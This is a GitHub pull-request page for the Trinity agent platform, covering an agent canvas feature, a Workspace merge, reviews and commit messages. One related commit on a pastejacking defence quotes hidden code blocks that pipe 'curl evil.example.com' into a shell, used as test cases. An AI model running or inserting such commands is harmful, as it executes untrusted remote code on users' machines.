Skip to content

feat(workspace): the agent canvas, and one workspace instead of two (trinity-enterprise#438) - #2484

Merged
vybe merged 7 commits into
devfrom
feature/ent438-agent-canvas
Sep 4, 2026
Merged

vybe merged 7 commits into
devfrom
feature/ent438-agent-canvas

Conversation

@dolho

@dolho dolho commented Sep 2, 2026

Copy link
Copy Markdown
Contributor

What

Two halves of one issue.

One workspace. "Workspace" meant both the surface people work in (/workspace) and a per-agent page (/agents/:name/workspace) — a Gemini voice orb beside a canvas panel, marked BETA and gated on VOICE_ENABLED && GEMINI_API_KEY && WORKSPACE_ENABLED. Users had to know which one they were in, and capability differed between them for no reason a user could state.

A canvas for every agent. Agents produce results that are not chat messages — tables, charts, rendered reports — and had nowhere to put them. The only canvas Trinity had was VoiceSession.panel_state: in memory, writable only by the Gemini Live voice tools, on that one page, and gone when the session ended.

OSS-core by decision: deliberately ungated — no requires_entitlement, logic in the OSS tree. Recorded explicitly because the default for an enterprise-tracker feature is gated unless ruled otherwise, so the ruling must never later be inferred from the mere fact that it merged (the ent#326 / ent#384 / ent#392 discipline). Rationale, on operator instruction: the Workspace and everything around it is OSS.

The canvas

agent_canvases, keyed on the composite (agent_name, canvas_id). That key is the whole design: a write is an upsert, addressability is structural, and the retention question answers itself — the table is bounded by the key, so it is deliberately absent from RETENTION_OPS_KEYS, while its append-only sibling agent_reports needs a window.

A report is published once and accumulates. A canvas is one surface kept current. Same output, opposite lifetime.

  • Audience is how "never widens" is made structural (AC 8). operator (default) | roster — a validated column, never a key inside agent-authored blocks (the ent#364 rule, since an audience buried there lets a prompt-injected agent choose its readers). normalize_audience is an allowlist: an unrecognised stored value reads as operator, because the column is plain TEXT with no CHECK constraint (bug: subscription reports "rate-limited" for the provider's own warning tier — allowed_warning fails the _headroom_indicates_limited catch-all #2396's rule). The Workspace read narrows in the query, not afterwards — a read that loads everything and filters in Python has already put an operator-only surface one edit away from the response (ent#365 FR-2). Roster gate and audience narrowing are both needed and neither is redundant: one answers may this person reach this agent, the other did the agent mean this for them.
  • Staleness is derived, not a clock (AC 7). stale = the agent finished a run after the canvas was written. A threshold was rejected: a canvas has no inherent freshness expectation, so a clock cries wolf on a monthly summary and stays silent on a minute-by-minute one, whereas "the agent has run since" is a fact about this canvas and is checkable against updated_by_execution_id. last_completed_execution_at is a MAX over the column rather than a windowed scan because a head full of queued/running rows would push the newest completed row out of a window and report a stale canvas as current — the exact failure the AC exists to prevent. Fail-quiet is available here and only here: the mark is an addition to an always-rendered updated_at, so missing evidence costs the mark and not the honesty; marking on no evidence would train the reader to ignore it. Derived once per agent, never once per canvas.
  • One rendering layer (AC 4). table/kpi/markdown/timeline/json delegate to the shared components/reports/ dispatch — reused, never forked, because those renderer keys are CI-pinned as the canonical contract (test_1535_report_prompt_guidance.py). The canvas adds chart (TrendLineChart as-is) and html (DOMPurify, through the existing utils/markdown.js so it inherits the configured link hardening — a second sanitizer is a second policy to keep in step). The report display_hint enum is deliberately not widened: a canvas is a superset of a report's rendering, not a change to what a report is. An unknown kind resolves to json, never to nothing — a silently dropped block would leave the surface looking complete.
  • Writes are self-gated (AuthorizedAgent proves the key's owner can reach the path agent, not that an agent-scoped key is writing its own canvas — the feat: agent-reported structured reports via MCP + dashboard display #918 rule, and here a disclosure surface too since a roster canvas is client-visible), rate-limited, id-charset-validated with a named 400, and capped at 50 blocks / 512 KiB (the byte cap being what the count cap cannot express). execution_id runs through resolve_and_validate_execution (MEM-001) and a foreign id degrades to None rather than refusing the write — it is provenance, not authorization, and losing a stamp is a smaller harm than losing the canvas the agent just rendered. Reads are not self-gated: an operator is a user-scoped principal with no agent_name, and the {self} ∪ permitted narrowing for agent keys lives at the MCP layer.
  • Empty states differ by viewer (AC 6) because the next action does: an operator can make an agent write a canvas, a client cannot — offering them a tool call would be an instruction they cannot follow, so they get the chat instead.
  • MCP: set_canvas / get_canvas / list_canvases / clear_canvas. Deliberately no append_to_canvas — set_canvas replaces, so read-change-write is the only sequence that leaves the surface in a state the agent chose, and get_canvas's description says so.
  • Dual-track migration (agent_canvases_table + Alembic 0050_agent_canvases); AGENT_REFS-registered, where the rename half is load-bearing rather than tidy: agent_name is half the primary key, so an unregistered table would leave a renamed agent's canvas addressed to a name nothing resolves and its next write would mint a second canvas under the new name while the old one stayed visible.

The merge (AC 1)

/agents/:name/workspace is deleted; the route is a query-preserving redirect to /workspace?agent=<name> (the ent#381 shape, so an old bookmark still lands on that agent). Safe only because ent#440 already put voice conversation inside the Workspace, so once the canvas moved the page had no capability of its own left.

Two knock-on edits are load-bearing, not cosmetic:

  • ChatPanel now starts its voice session with workspaceMode: true. The retired page was the only caller that passed it, so bridging the voice panel to the durable canvas while leaving it unreachable would have shipped dead code wearing a fix's name — and passing its own tests, since the bridge itself is correct.
  • AgentHeader's button drops the workspaceAvailable gate (the Workspace needs no Gemini key, so gating would hide a working link on every install without one) and the stopped-agent disable (bug: Workspace roster lists agents with no container (DB-sourced roster vs Docker-as-truth) #2196 — the page reports availability itself, and a dead button is a worse answer than a page that says why). The now-unused prop is removed rather than left as a lie.

The voice panel (gemini_voice._execute_panel_tool) still updates the live panel_state and now persists it to canvas voice at fixed audience="operator" — a voice session always ran on an operator-authenticated surface, and one that silently became client-visible is precisely the widening the audience default exists to prevent. Mermaid and image panels map onto markdown blocks, so no new kind was needed; the write is fail-soft, because a canvas failure must not break the panel in front of the operator or the tool result the model is waiting on.

Verification

  • 52 new tests (test_ent438_agent_canvas.py). Five mutations confirmed red then reverted: audience defaults to roster · an unrecognised audience passes through · the portal read stops narrowing · the write loses its self-gate · the deleted page comes back.
  • Backend unit suite: 3567 passed (head) + 7618 passed / 23 skipped (tail). The only failures are 4 pre-existing ::ffff: IPv4-mapped parametrizations in test_mcp_validator.py and test_ent399_ipv6_origin.py, verified to fail identically on clean origin/dev — the local venv is Python 3.12.3 and the repo targets 3.13.
  • Frontend: build ✓, vitest 1555 passed, raw-color and loading-gate ratchets ✓. MCP: tsc --noEmit clean, 280 tests pass.
  • Structural guards: schema parity, Alembic single-head (0050_agent_canvases), revision-id length, AGENT_REFS parity, models-centralized, test_1535 renderer contract, #2094 dependency/path-param pairing, #186/#293/#1310 auth guards — all green. All portal suites: 500 passed.

One guard earned its keep: mountListenerOrdering.spec.js failed on the page deletion because its only allowlist entry was views/AgentWorkspace.vue. Entry dropped and MAX_ALLOWLIST ratcheted 1 → 0 — the direction it pins is "may shrink".

Fixes abilityai/trinity-enterprise#438

🤖 Generated with Claude Code

https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux

dolho and others added 3 commits September 2, 2026 12:10
…ent#438)

"Workspace" meant two things: the surface people work in (`/workspace`) and a
per-agent page (`/agents/:name/workspace`) that was a Gemini voice orb beside a
canvas panel, marked BETA and gated on `VOICE_ENABLED && GEMINI_API_KEY &&
WORKSPACE_ENABLED`. Users had to know which one they were in, and capability
differed between them for no reason a user could state.

The more valuable half was the canvas. Agents produce results that are not chat
messages — tables, charts, rendered reports — and had nowhere to put them
except `VoiceSession.panel_state`: in memory, writable only by the voice tools,
on one page, gone when the session ended.

## The canvas

`agent_canvases` keyed on the composite `(agent_name, canvas_id)`, so a write
is an UPSERT and the surface is addressable. That key is the whole difference
from `agent_reports`, where each publish is a new immutable row that
accumulates — and it is why the canvas needs no retention window (bounded by
construction) while its append-only sibling does.

- Audience is `operator` (default) | `roster`, a validated COLUMN and never a
  key inside agent-authored `blocks` (the ent#364 rule). `normalize_audience`
  is an allowlist, so an unrecognised stored value reads as `operator` — the
  column is plain TEXT with no CHECK constraint (#2396's rule). The Workspace
  read narrows IN THE QUERY, not afterwards (ent#365 FR-2). Roster gate and
  audience narrowing are both needed: one answers "may this person reach this
  agent", the other "did the agent mean this for them".
- Staleness is derived, not a clock: the agent finished a run after the canvas
  was written. A threshold cries wolf on a monthly summary and stays silent on
  a minute-by-minute one; "the agent has run since" is a fact about THIS
  canvas, checkable against `updated_by_execution_id`.
  `last_completed_execution_at` is a MAX over the column rather than a windowed
  scan, because a head full of queued/running rows would push the newest
  completed row out of a window and report a stale canvas as current.
- Blocks delegate to the CI-pinned `components/reports/` dispatch for
  table/kpi/markdown/timeline/json, adding only `chart` (TrendLineChart as-is)
  and `html` (DOMPurify via the existing markdown util). The report
  `display_hint` enum is deliberately not widened.
- Writes are self-gated (the #918 rule — here a disclosure surface too, since a
  roster canvas is client-visible), rate-limited, id-charset-validated with a
  named 400, and capped at 50 blocks / 512 KiB. A foreign `execution_id`
  degrades to None rather than refusing: it is provenance, not authorization.
- Dual-track migration (`agent_canvases_table` + Alembic `0050`);
  `AGENT_REFS`-registered, where the rename half is load-bearing because
  `agent_name` is half the primary key.
- MCP: `set_canvas` / `get_canvas` / `list_canvases` / `clear_canvas`. No
  append tool by design — `set_canvas` replaces, so read-change-write is the
  only sequence that leaves the surface in a state the agent chose.

## The merge

`/agents/:name/workspace` is deleted; the route is a query-preserving redirect
to `/workspace?agent=` (the ent#381 shape). Safe only because ent#440 already
put voice conversation inside the Workspace, so once the canvas moved the page
had no capability of its own left.

Two knock-on edits are load-bearing, not cosmetic:

- `ChatPanel` now starts its voice session with `workspaceMode: true`. The
  retired page was the ONLY caller that passed it, so bridging the voice panel
  to the durable canvas while leaving it unreachable would have been dead code
  wearing a fix's name.
- `AgentHeader`'s button drops the `workspaceAvailable` gate (the Workspace
  needs no Gemini key) and the stopped-agent disable (#2196 — the page reports
  availability itself). The prop is removed rather than left as a lie.

The voice panel now persists to canvas `voice` at fixed `audience="operator"`,
fail-soft, so a canvas write cannot break the panel in front of the operator.

OSS-core by decision: deliberately ungated — no `requires_entitlement`, logic
in the OSS tree. Recorded explicitly because the default for an
enterprise-tracker feature is gated-unless-ruled-otherwise.

Related to Abilityai/trinity-enterprise#438

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux
…anvas

# Conflicts:
#	docs/memory/learnings.md
#	tests/registry.json
…t does not exist

`check:tokens` failed the build job: `status-error` is not a defined
token family — tailwind.config.js declares status-success / warning /
danger / info / urgent, and `text-status-error-600` therefore emitted
NOTHING, so both error lines would have rendered as unstyled body text
exactly when something had gone wrong.

Caught by the guard rather than by review, which is the point of it: a
colour-only utility naming a family that does not exist is invisible in a
diff and invisible in a passing build (2026-09-01 learnings entry, one
family over).

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux
@dolho
dolho requested a review from obasilakis September 2, 2026 09:50
@vybe

vybe commented Sep 2, 2026

Copy link
Copy Markdown
Contributor

PM note (operator Workspace review 2026-09-02): no change requested here — merge as-is. The canvas on the agent page is right for the agent page. The Workspace is getting a conversation rail (abilityai/trinity-enterprise#472 — a collapsible third panel beside the conversation, collapsed by default, in the v0.9.5 floor), and its Canvas tab will add the conversation-side placement in a follow-up slice (abilityai/trinity-enterprise#475), reusing CanvasPanel + fetchAgentCanvases from this PR. Same store, one rendering layer.

@obasilakis obasilakis left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

/validate-pr: APPROVE

Well-documented, fully-tested feature with correct auth. 26/26 checks pass (pytest across 6 seeds, schema-parity, pg-migrations, e2e, gitleaks, prod-image-smoke, non-root).

What I verified specifically:

  • Auth is right. GETs use the AuthorizedAgent path-dependency (uniform-404, Invariant #8); PUT/DELETE add _require_self (routers/canvas.py:50-53) — the #918-style self-gate the body claims is actually there.
  • No entry point lost. /agents/:name/workspace is a query- and hash-preserving redirect to /workspace?agent=<name> (router/index.js:85-90, the ent#381 shape); the canvas is reachable from AgentDetail ?tab=canvas (views/AgentDetail.vue:235) and the Workspace agent page.
  • The OSS-core ruling is written down — in architecture.md (twice), the feature-flows.md index, and the flow doc's OSS-core section. That satisfies the CLAUDE.md requirement that the ruling never be inferred later from the mere fact that it merged.
  • Docs meet the "new capability" tier: requirements (requirements/core-agent.md) + feature-flow + index entry + architecture.
  • Test adequacy: 34 backend tests with real non-happy-path coverage (audience default, unrecognised-audience allowlist, audience-is-a-column, foreign execution_id degrade, write self-gate, read not self-gated, AGENT_REFS rename/purge), plus 5 documented red-then-reverted mutations.

Warnings

  • Config packaging gap. CANVAS_RATE_LIMIT and CANVAS_RATE_WINDOW are read at src/backend/models.py:650-651 but appear in neither docker-compose.yml, docker-compose.prod.yml, nor .env.example. Defaults are 60/60 so the feature works — this is the #1039 inert-knob class rather than the #1056 feature-unreachable class, hence a warning not a block. Worth noting the direct sibling REPORT_RATE_LIMIT (routers/reports.py:50) is wired into all three.
  • Cross-tracker close. Fixes abilityai/trinity-enterprise#438 is the expected shape, but same-repo automation can't fire — ent#438 needs a manual status-in-dev bump after merge.
  • docs/memory/feature-flows/agent-canvas.md is narrative-shaped and has no ## Testing or ## Security Considerations section. Recent flows are mixed on this, so non-blocking.

Suggestions

  • Move CANVAS_RATE_LIMIT/CANVAS_RATE_WINDOW out of models.py and into routers/canvas.py beside their only consumer. models.py is the Pydantic-contract home (Invariant #14), and the misplacement is plausibly why the compose wiring was missed.
  • src/frontend/src/stores/sessions.js:53,113,133 — workspaceAvailable now has zero consumers at head; the AgentHeader prop and the router guard were both removed. The PR dropped the prop "rather than leaving it as a lie", and the store field it fed is now orphaned in the same way.

Findings produced by /validate-pr (Claude Code).

@github-actions

github-actions Bot commented Sep 3, 2026

Copy link
Copy Markdown

⚠️ Nightly unit-suite check skipped — merge conflict against dev.

Resolve by running git merge dev locally and pushing the result. The next nightly run will re-test once the conflict is gone.

@github-actions

github-actions Bot commented Sep 3, 2026

Copy link
Copy Markdown

⚠️ Live-instance suite skipped — merge conflict against dev.

Resolve by merging dev locally and pushing the result; the next nightly re-tests.

sim added 2 commits September 4, 2026 11:18
# Conflicts:
#	docs/memory/feature-flows.md
#	docs/memory/learnings.md
#	tests/registry.json
# Conflicts:
#	docs/memory/feature-flows.md
#	docs/memory/requirements/core-agent.md
vybe pushed a commit that referenced this pull request Sep 4, 2026
…nd the Workspace opens in its own tab (#2515, ent#456, ent#402) (#2517)

* docs(requirements): Workspace thread copy, new-tab entry, agent search (#2515, ent#456, ent#402)

Requirements before code (CLAUDE.md Rule 1). New §5.16 covering all three
issues that touch the same OSS-core Workspace surface, plus two amendments
to the sections the changes retire a sentence from:

  * §5.10 "Search still replaces both lists while active" → search filters
    the agents block in place and swaps the chat lists for results (ent#402).
  * §5.9 the `?tab=session` redirect is now explicitly SAME-TAB, with the two
    click entry points named as the ones that open a new tab (ent#456).

§5.16 records the gating ruling up front — OSS-core by decision, deliberately
ungated — because CLAUDE.md's default for an enterprise-tracker feature is
gated-unless-ruled-otherwise, and the ruling must never be inferred later from
the mere fact that it merged (the ent#326 / ent#384 / ent#392 discipline).

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

* feat(workspace): sidebar search filters agents, agents first (ent#402)

The sidebar's search box searched the chat history only. It sits directly
above the agents block, and typing UNMOUNTED that block entirely — so on a
fleet larger than the collapsed window there was no way to reach an agent by
name from the one surface built to list them.

Search now filters the roster in place, agents first in a labelled section,
with the chat results below. Two rules are the whole of it, and both look
right when written the obvious way and are not:

  * `requireMentionable: false`. `filterAgentCandidates` (ent#392) defaults it
    TRUE for the composer, where an un-mentionable pick is a dead end. A
    sidebar row is not a mention — `data.scout` opens perfectly well — so
    inheriting that default would hide a real agent from a search for its own
    name. The flag lives inside `searchAgents`, not at the call site, so a
    caller cannot forget it.
  * The results window is `visibleAgentRows` — the #2424 rule the steady state
    already uses — not a fresh slice. A rank-ordered slice can drop an agent
    with an open ask, which is exactly the failure #2424 fixed for the
    collapsed list and which a second bounding rule would quietly reintroduce
    for search.

The row itself is written ONCE and mode-switched through `shownAgents`, so its
badges, availability chip and `open-agent` emit are inherited by search rather
than copied into it; and the "Show all" control stays the ONE persistent
element (#2159 — alternating two v-ifs drops keyboard focus), hidden with
v-show while searching rather than swapped for a second button.

Honest states, per section: "nothing matched at all" (both lines plus a next
action) is distinguishable from "agents matched, no chats" (the chat line
alone), and neither ever stands in for the other — the chat half is a server
request whose failure the view currently swallows into `[]`, so a combined
"nothing matches" would assert something that was never answered. While the
roster is still loading the skeleton stays: a two-character query typed during
the load must not read "No agents match." over a roster that has not arrived.

All decidable logic is pure in `portalUtils.js` — vitest runs
`environment: 'node'` with no mount harness, so a rule inside the SFC is a rule
no test can reach. No backend change, no new endpoint, no migration.

Deliberately ungated (OSS-core), per §5.16.

Tests: tests/unit/portalSidebarSearch.spec.js (28 cases + source pins).
Every pinned sidebar identifier is preserved, so portalRosterRow.spec.js and
portalAvailabilityChip.spec.js stay green untouched.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

* feat(workspace): open the Workspace in a new tab from the console (ent#456)

The Workspace is a place you go and stay — a conversation with an agent, with
its own history and its own in-flight turn. Reaching it from the operator
console replaced whatever you were looking at, so going back meant re-finding
the agent, the tab and the scroll position.

Both console entry points — the NavBar "Workspace" item and Agent Detail's
"Continue in Workspace →" — now carry `target="_blank" rel="noopener"`.

`target` alone is the whole mechanism: Vue Router's `guardEvent` declines to
intercept a click whose target is `_blank` (and any modified click), so
`<router-link>` still resolves the href while the browser owns the click.
Hand-rolling `window.open` would take that back and break cmd/ctrl/shift-click
along with it, which is why there is none here.

The `?tab=session` redirect is deliberately NOT changed. It is a
`router.replace` rewrite of a navigation already in flight, not an entry point;
spawning a tab from it would leave the original tab sitting on a URL nobody
asked for. Its existing @smoke spec is the guard, and the new spec pins the
same-tab shape from the other side.

Also pinned: `views/Portal.vue` mounts no NavBar. NavBar is mounted per view
(App.vue renders none), so the entry's active-class expression is unreachable
in the new tab — pinning that ABSENCE is the real guarantee, where pinning the
expression would be pinning dead code.

No preference for the behaviour: the new tab is simply the default.
Deliberately ungated (OSS-core), per §5.16.

Tests: tests/unit/workspaceNewTab.spec.js

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

* fix(workspace): code blocks read as code, and the thread can be copied (#2515)

A fenced code block in a Workspace reply was a slightly-tinted paragraph in
the body font. A long command widened the bubble and put a horizontal
scrollbar inside a chat message, and there was no way to copy anything —
not the block, not the reply. Selecting by hand pulled in the surrounding
prose. This is the surface where an agent hands you a command to run.

A block is now its own object: one step off the bubble's tint in both themes,
a labelled bar carrying an always-visible Copy, monospace at the AC's floor
size, and it WRAPS at the edge rather than scrolling — no bubble ever grows
past its column again. The message gets its own Copy beside it, copying the
raw markdown so a pasted answer is still an answer wherever it lands.

Three things used to be two-of-three, twice. `prose-portal` was applied in
both transcripts and defined in both — kept "byte-identical so the two cannot
drift", which is the tell that they wanted to be one thing. They are now
PortalMarkdown.vue: one v-html, one stylesheet, one delegated copy handler,
inside PortalAgentBubble.vue, which is only the chat chrome. A surface that
renders agent markdown outside a conversation mounts the former and inherits
all three rather than re-copying two of them.

Decoration is opt-in, not a marked renderer override: `renderMarkdown` has
twelve consumers and a global override would sprout a Workspace copy control
on dashboards, queue cards and reports. `renderMarkdownWithCodeBlocks` is a
second export; `renderMarkdown`'s body is byte-identical.

Order is the security of it. The pipeline is `marked → stripCodeBlockMarkers →
decorateCodeBlocks → DOMPurify.sanitize`:

  * markers are stripped from the INPUT first, because marked passes raw HTML
    through and DOMPurify keeps `data-*` — so without it an agent could ship
    its own wrapper whose Copy button resolves to a hidden `<pre>`. That is
    pastejacking, delivered in whatever the agent was told to say.
  * decoration runs BEFORE sanitization, so every byte reaching v-html has
    been through the one DOMPurify policy (H-005 stays literally true).
  * the decorator only matches the BARE `<pre><code` marked emits, and only
    decorates a body with no literal `<`. marked escapes fence contents, so a
    `<` proves raw-HTML passthrough — a block that could nest a display:none
    element whose text a copy of the wrapper would silently pick up.

The only non-constant byte injected is the language label, charset-validated
so it cannot contain `<>&"'`. The scanner is a linear indexOf walk; the lazy
regex it replaced was quadratic on adversarial input, on the render path.

Clipboard failure is named rather than logged. `navigator.clipboard` is
undefined on an insecure origin — plain http on a LAN or Tailscale address is
a first-class Trinity topology — so a missing writeText falls back to
execCommand, and only when both fail does the control say "Copy unavailable" /
"Copy blocked" / "Copy failed", in text and colour, for two seconds. writeText
is the first await in the click task (Safari's transient activation), and the
labels restore from CONSTANTS, so two clicks inside the window cannot leave a
button permanently reading "Copied". Nothing is ever logged: the payload is an
agent's output and may be the credential the operator just asked it for.

NOTE: `utils/clipboard.js` already existed with a `copyToClipboard` used by
four settings panels. It is left BYTE-IDENTICAL and the new API sits beside
it — its console.warn and its focus restoration are behaviour those callers
have today, none of them is under test, and this issue has no business
changing what happens when an operator copies an API key. A spec now pins
that export and its four callers, because replacing the module rather than
extending it would have shipped four dead buttons with a green suite.

Tests: markdownCodeBlocks (26, incl. the forged wrapper, the nested-hidden
case, the label charset, a 20k-block perf bound, and a sanitizer pin SCRAPED
from the installed DOMPurify so a bump cannot pass vacuously),
clipboardFeedback (19), portalAgentBubble (24 source pins). Two pre-existing
pins are rewritten IN THIS COMMIT, both inverted by the merge they guarded.
New @smoke e2e drives a real thread from four route mocks — the first
Workspace-thread e2e; there was no existing coverage to extend.

Deliberately ungated (OSS-core), per §5.16.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

* docs(workspace): architecture + feature flows for #2515 / ent#456 / ent#402

architecture.md — one sub-block in the Workspace / Client Portal section
recording what a later reader would otherwise have to re-derive: why
decoration is a second export rather than a marked renderer override (twelve
consumers), why the pipeline order IS the security (markers stripped from the
input, decoration before sanitize, bare openers and escaped bodies only), why
markedConfig.js exists at all (markdown.js is un-importable without a DOM, so
without the split no spec can reach the parser it configures), and the
OSS-core ruling verbatim. Plus two one-line amendments: the ent#358 block now
says the link and the NavBar entry open a new tab while the redirect stays
same-tab, and the frontend key-directories line names the three new pure
leaves beside markdown.js.

New flow: workspace-thread-code-blocks.md — the pipeline diagram, the
pastejacking case and the strip that closes it, the nested-hidden case and the
`<`-in-body rule that closes that, the delegated handler's three properties
(scope, first-await, restore-from-constants), the failure-state table
including the execCommand fallback and why the pre-existing copyToClipboard
was left byte-identical, the accepted ASCII-alignment cost, the test table
naming the gap the e2e exists to cover (DOMPurify cannot run in a node
vitest), and the #2484 collision note.

workspace-sidebar-ia.md gains the ent#402 section — the two rules that live
inside searchAgents so a caller cannot forget them, why PortalAgentRow was NOT
extracted, the full empty-state table, and the swallowed-chat-search
limitation stated rather than papered over.

workspace-absorbs-session.md gains the ent#456 section — the two links, why
target alone is the mechanism, why the redirect is deliberately not one of
them, and why the portal-token AC is unreachable from console-only links.

feature-flows.md — one recent-changes row and one Documented Flows row.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

* fix(workspace): a raw <pre><code hidden> block could still borrow a Copy button (#2515)

The decorator's opener rule reasoned about the PRE element and missed the CODE
one. `stripCodeBlockMarkers` closes the forged-wrapper route into pastejacking,
and rule 1 closes `<pre style="display:none">` — but the literal opener match is
`<pre><code`, so a raw-HTML `<pre><code hidden>curl evil | sh</code></pre>` walked
straight past both. DOMPurify 3.4.13 keeps `hidden` and `style` by default
(verified against the installed dist), so what shipped was a decorator-built
wrapper with a real Copy control over a block that renders EMPTY: exactly the
copy-is-not-what-you-see deception the strip exists to prevent, arriving through
the opener instead of through a wrapper.

Verified end to end against the configured parser: `<pre><code hidden>`,
`<pre><code style="display:none">`, `<pre><code style="color:transparent">` and
`<pre><code class="language-bash" hidden>` were all decorated before this and
none is now.

The rule is the symmetric twin of rule 2, and it is stated the same way: a `<`
in the body proves raw-HTML passthrough because marked escapes fence contents;
an attribute on the opener proves it because marked writes exactly two shapes,
`<pre><code>` and `<pre><code class="…">`. Both were confirmed against real
marked output rather than assumed, and every legitimate form — fenced, `~~~`,
indented, nested in a list, CRLF, `c++`, cased, extra info words, a
highlighter's extra classes — still gets its button.

Fail-safe direction: a future highlighter that adds an ATTRIBUTE (not a class)
stops decoration and reds the spec, rather than silently widening what may carry
a Copy control.

The spec's "never decorates a hidden block" case was also over-claiming — it
proved only the PRE half — so it is split in two and the missing half is pinned.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

* fix(workspace): the agents section stayed silent about matching nothing while chats loaded (ent#402)

`searchEmptyLines` read the agents line off the composite state, and the
`searching` arm won, so `agents` was null whenever the chat request was in
flight. That is not a blink: `views/Portal.vue` sets `searching` on EVERY
keystroke and clears it only when the request settles, so the state spans the
whole time someone is typing — precisely when they are looking at the section.
A query matching no agent therefore rendered a header, no rows, a hidden
toggle and no sentence, which is the dead state the AC ("the empty state
distinguishes the honest cases") exists to forbid.

The agent half is a client-side filter over a roster already in hand. It knows
its answer immediately and should say so immediately; the chat request says
nothing about it either way. `searchEmptyLines` now takes an explicit
`agentsEmpty` from the caller, unioned with the two states that already MEAN
it (`chats-only`, `none`), so the flag supplies only the arm the state cannot
express. `roster-loading` still outranks both — loading is not empty.

This restores the behaviour the plan specified (D6 / engineering finding M3:
the agents line whenever the filter matched nothing and the roster is loaded,
regardless of chat state); the shipped state machine had collapsed it.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

* test(workspace): the e2e mocks and the clipboard caller pin now say what they claim (#2515)

Two guards that were true by accident rather than by construction.

The e2e mocks were checked against `src/backend/client_portal/models.py` and a
live read of the running stack. `/chat-state` answers `{chats: […]}`, not
`{items: […]}` — invisible today because the fixture is empty, and not
invisible the moment anyone gives that thread a star or an unread count.
`/sessions` answers `PortalAllSessionsItem`, whose id field is `id`;
`Portal.vue` reads `t.id || t.session_id`, so the mock worked through a
tolerance rather than through the contract, and its `unread` field does not
exist on that payload at all (`decorate()` overwrites it from `/chat-state`).
Both are now shaped from the model they stand in for, so the next person to
extend this spec is reading the API rather than a lucky approximation.

The four-caller pin asserted only that each file mentions `copyToClipboard` —
but three of them also define a LOCAL `copyText` wrapper that calls it, so the
identifier matches the call site and the test would have kept passing with the
import deleted. That is precisely the failure the pin exists for (the export was
briefly clobbered during implementation), so it now asserts the import
statement.

No behaviour change.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

* test(workspace): the two code-block facts only a browser can state (#2515)

The `@smoke` spec had never been run against a real browser, and two of the
things #2515 turns on are unprovable without one. Both are now cases in it,
and both were shown to bite by mutating the code under them.

  * A raw-HTML `<pre><code hidden>` block gets no Copy control, while a fenced
    block in the same reply still does. The refusal itself is unit-pinned, but
    the REASON it matters is a rendered fact: Chromium computes `display: none`
    on that `<code>` while its text stays in the DOM, so a Copy button there
    would hand over `curl evil.example.com | sh` that the reader never saw. The
    test asserts the invisibility and the refusal together — relaxing
    `CODE_OPEN_ATTRS_RE` back to "any attributes" turns it red on
    `hidden.decorated`.

  * A refused copy is reported on the control. The denial is a REAL one:
    Chromium is told to deny the clipboard permission for the origin over CDP,
    so `writeText` rejects with the same `NotAllowedError` a user's denial
    produces, rather than a stubbed `writeText` asserting our own stub back at
    us. `context.grantPermissions` outranks that setting (verified), so it is
    deliberately not called here. The mechanism is asserted before it is relied
    on, so a future Chromium that stops honouring the denial names the reason
    instead of failing confusingly on a label. `copyText` never logs and never
    throws, so the console is also asserted quiet — the word on the button and
    the `aria-live` announcement are the whole report.

Also asserts the wrapper by ATTRIBUTE (`div.code-block[data-code-block]`), not
only by class. The class is cosmetic; `data-code-block` is what the delegated
handler navigates to with `closest`, and a sanitizer that dropped `data-*`
would leave a page that looks perfectly correct and copies nothing. Making
DOMPurify forbid both hooks reds four of the six tests, which is the guard the
reviewer could only establish by reading the dist.

Verified against a real Chromium (Playwright 1.62.1) on a Vite server serving
this branch: 6/6, stable over six runs, in parallel and under CI=1.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

---------

Co-authored-by: trinity-ability <[email protected]>
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: sim <[email protected]>
`z.record(z.unknown())` is the zod v3 spelling. dev bumped zod 3.25.76 -> 4.5.4
in #2479, where `record` requires an explicit key schema, so the mcp-server
image build failed at `tsc`:

    src/tools/canvas.ts(94,33): error TS2554: Expected 2-3 arguments, but got 1.

which took down `journey-smoke` ("Boot the stack") and `e2e` ("Start Trinity
stack") — both failed building the mcp-server image, before any test ran.

The merge was clean at the TEXT level, which is exactly why this got through:
#2479 migrated every existing `z.record(` call site to the two-arg form, but
canvas.ts did not exist on dev yet, so nothing rewrote it and nothing
conflicted. The five sibling call sites (agents.ts x2, events.ts,
notifications.ts, reports.ts) already carry the two-arg spelling; this makes
canvas.ts the sixth.

`z.record(z.string(), z.unknown())` is semantically identical to what v3's
one-arg form meant (string keys, unknown values) — no behaviour change.

Verified against a real `npm ci` at zod 4.5.4: `tsc --noEmit` clean, and
mutation-checked by reverting the fix, which reproduces TS2554 at 94,33.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01HAw7x7VwACVjc58pPPi3Th
# Conflicts:
#	docs/memory/requirements/core-agent.md
@vybe
vybe merged commit 17ae27b into dev Sep 4, 2026
29 checks passed
vybe pushed a commit that referenced this pull request Sep 4, 2026
Resolves two things the merge surfaced, one of which git did not report.

tests/registry.json — the usual merge-train tail conflict. Rebuilt from the
index stages (dev, deduped first-wins, plus the entries this branch adds on
top of the merge base) rather than by splicing the conflict markers, which
only shows the tail region and has silently produced duplicates before.
Result: 222 entries, all `file` keys unique, asserted before writing.

Alembic head fork — NOT reported by git, because the two revisions are
separate files. dev gained `0050_agent_canvases` (#2484, merged 12:05 UTC)
chained off `0049_execution_turn_integrity`; this branch's
`0050_agent_loops_terminal_driven` claimed the same parent. Two heads means
